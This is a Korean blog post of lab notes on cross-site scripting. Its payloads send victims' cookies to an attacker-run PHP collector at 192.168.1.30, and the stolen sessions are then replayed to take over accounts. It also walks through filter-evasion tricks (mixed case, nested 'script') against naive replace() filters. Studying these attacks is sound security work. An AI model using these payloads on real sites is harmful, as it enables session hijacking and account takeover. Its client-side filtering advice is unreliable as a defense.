본문 바로가기
Web Hacking

9. XSS (Cross Site Scripting)

by 귀멸 2022. 6. 27.

웹보안의 고전명작 XSS / javascript, php 공부가 절실히 필요하다고 느낀 계기

이런 생각을 어떻게 처음했는지 대단하다.

코드블럭 처음 사용해봤는데 이 좋은 걸 여태 안썻네!!

 

0. XSS (Cross Site Scripting)
  - 웹이 동적인 페이지를 제공하면서 사용자의 입력을 받아 어떤 작업을 처리하게 됨
  - 이 때, 입력되는 데이터를 통해 서버를 장악하지 않고도 공격이 가능
  - Impact
    Cookie Access
    DOM (Document Object Mode) Access
    Clipboard Access
    Key logging
 - Type
    Reflectied XSS ( non-persistent )
    Stored XSS ( persistent )

 

 - XSS에 취약한 페이지 유형
   HTML을 지원하는 게시판
   Search Page
   Personalize Page
   Join Form Page
   Referer 를 이용하는 Page
   그 외 사용자로부터 입력 받아 화면에 출력하는 모든 페이지에서 발생 가능

 

   # XSS 원리 이해
   0) attacker에서 Web Server 실행
   1) getcookie.php 파일 생성
   2) attacker가 xss에 취약한 서버를 대상으로 script를 삽입 → 게시글 등록
   3) client는 악성 script를 열람
   4) client의 정보(cookie)가 attacker에게 전달됨

 

 

1. 게시글에서 스크립트 구문을 이용한 공격 실습
   Step1. 공격자로 web page에 게시글 남기기
   본문 스크립트 구문

   <script>alert("XSS");</script>

 

   Step2. Client로 server의 웹 페이지 접속 - Guest Board

    게시글 열람 시 스크립트 구문 실행됨

 

 2. Client 쿠키 탈취
   Step 1. 공격자에서 웹서버 구동
   root@bt:~# service apache2 start  : 웹서버 구동
   root@bt:/var/www# vim index.html  : 기본 웹페이지 확인

   Step 2. 공격자에서 getcookie.php 파일 생성
   root@bt:/var/www# vim getcookie.php : 아래 구문 저장 후 종료

 

<?php
$fd = fopen("/tmp/cookie.txt", "a+");     : 파일을 열어서 append하라
fputs($fd, $_GET["Cookie"]."\n");         : 전달 받은 쿠키값을 저장하라
fclose($fd); : 파일을 닫아라
?>

   Step 3. attacker가 xss에 취약한 server 웹에 게시판 글 작성 후 본문에 아래 내용 저장
  <script>window.open("http://192.168.1.30/getcookie.php?Cookie="+document.cookie);</script>
   window.open은 동작을 보여주기위해 한 것  "http://192.168.1.30/getcookie.php?Cookie="
   공격자의 getcookie.php 파일의 Cookie 파라미터로 +document.cookie 내 쿠키값을 request해라

   Step 4. 클라이언트가 웹 게시판에 게시글 열람 시 공격자에 /tmp/cookie.txt 파일에
   클라이언트 쿠키값이 탈취되어 저장되어 있음을 확인한다.

   root@bt:/var/www# cd /tmp
   root@bt:/tmp# cat cookie.txt
   ASPSESSIONIDQADTCQBQ=DJHDODFBDLMNEPAAPBHCLIJB

3. img tag를 사용하여 url 주소값 전달
 위의 실습 2의 Step 3에서 window.open tag 말고 image tag 사용

<img name=i width=0 height=0>
<script>
i.src="http://192.168.1.30/getcookie.php?Cookie="+document.cookie;
</script>

4. 종합 실습 XSS 공격과 방어 
  - 역할분담(Attacker, Victim, Server)후 진행
  - Victim의 Session값 탈취
  - XSS에 취약한 Server를 대상으로 진행한다.
  - 날짜(data())와 IP($_SERVER)도 획득한다.

 

Step1. 공격자의 웹서버 구동 및 php 구문 작성
root@bt:/tmp# cd /var/www
root@bt:/var/www# vim gettest.php

<?php
$fd = fopen("/tmp/test.txt", "a+");
fputs($fd, date("Y-m-d H:i:s"). " ");
fputs($fd, $_SERVER["REMOTE_ADDR"]." ");
fputs($fd, $_GET["Cookie"].\n");
$fclose($fd);
?>

Step2. 공격자가 웹페이지 게시글에 스크립트 구문 작성하여 게시

<img name=i width=0 height=0>
<script>
i.src="http://192.168.1.30/gettest.php?Cookie="+document.cookie;
</script>

Step3. 탈취한 Session 값으로 로그인
 - Victim의 권한을 획득하는지 확인

 - 탈취한 쿠키값을 이용해 Burp Suite로 request를 변조하여 권한 획득 성공
 
Step4. 보안 설정 (secure coding)
 - XSS 공격을 감지한 Server에서 보안설정을 진행한다.
 - replace() 함수 활용
   document.write_form.content.value = document.write_form.content.value.replace(/script/,"");
   script 구문을 무효화 시키도록 설정


   Step4-1. 이 구문은 어디에 적용할 것인지 찾기 위해 클라이언트에서 
                  다음 세가지 request를 어떤 파일을 요청하는 지 찾아보면
     1) guest board  : /board/board_list.asp
     2) 글쓰기 : /board/board_write.asp
     3) 작성 완료 눌렀을 때  : /board/board_write.asp

   Step4-2. 서버에서 위에 글쓰기를 요청하는 파일에 script라는 단어를 방어 할 수 있게 replace 함수를 넣어준다.
   Step4-3. 공격자가 위와 동일한 공격 스크립트를 게시글에 남겨보면 구문이 동작 안하는 것을 확인

Step5. 재접근
 - 공격자가 동일한 스크립트 구문을 게시글에 남겨 XSS 공격이 가능한지 파악 (가능하지 않음)

Step6. 우회

<img name=i width=0 height=0>
<SCript>
i.src="http://192.168.1.30/gettest.php?Cookie="+document.cookie;
</scRipt>

script에서 대문자를 섞어서 replace되지 않도록 우회 (성공)


Step7. 다시 방어 
document.write_form.content.value = document.write_form.content.value.replace(/script/i,"");
/script/i 'i'(ignore case) modifier를 붙여주면 대소문자를 구분하지 않는다.

Step8. 다시 우회

<img name=i width=0 height=0>
<scriptscript>
i.src="http://192.168.1.30/gettest.php?Cookie="+document.cookie;
</script>

두번 연속으로 쓰면 replace 함수가 한번만 작동하기 때문에 (성공)

Step9. 다시 방어
document.write_form.content.value = document.write_form.content.value.replace(/script/ig,"");
/script/ig 'g' 옵션 replace 함수 작동이 가능한 모든것에 적용됨

Step10. 다시 우회

<img name=i width=0 height=0>
<scrscriptipt>
i.src="http://192.168.1.30/gettest.php?Cookie="+document.cookie;
</script>

script가 replace 함수로 사라지고 나면 script가 다시 완성되도록 조작

Step11. 다시 방어
document.write_form.content.value = document.write_form.content.value.replace(/script/ig,"");
document.write_form.content.value = document.write_form.content.value.replace(/script/ig,"");
 1) 구문은 2번써서 replace가 되고난 결과를 다시 replace가 되도록 작성
 2) 또는 replace에 " " 공백을 삽입하여 교체 시키기
*** 3) html encoding 
document.write_form.content.value = document.write_form.content.value.replace(/</ig,"&lt;");
document.write_form.content.value = document.write_form.content.value.replace(/>/ig,"&gt;");

XSS에 사용된 구문들에 대하여 OWASP에서 정리
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

댓글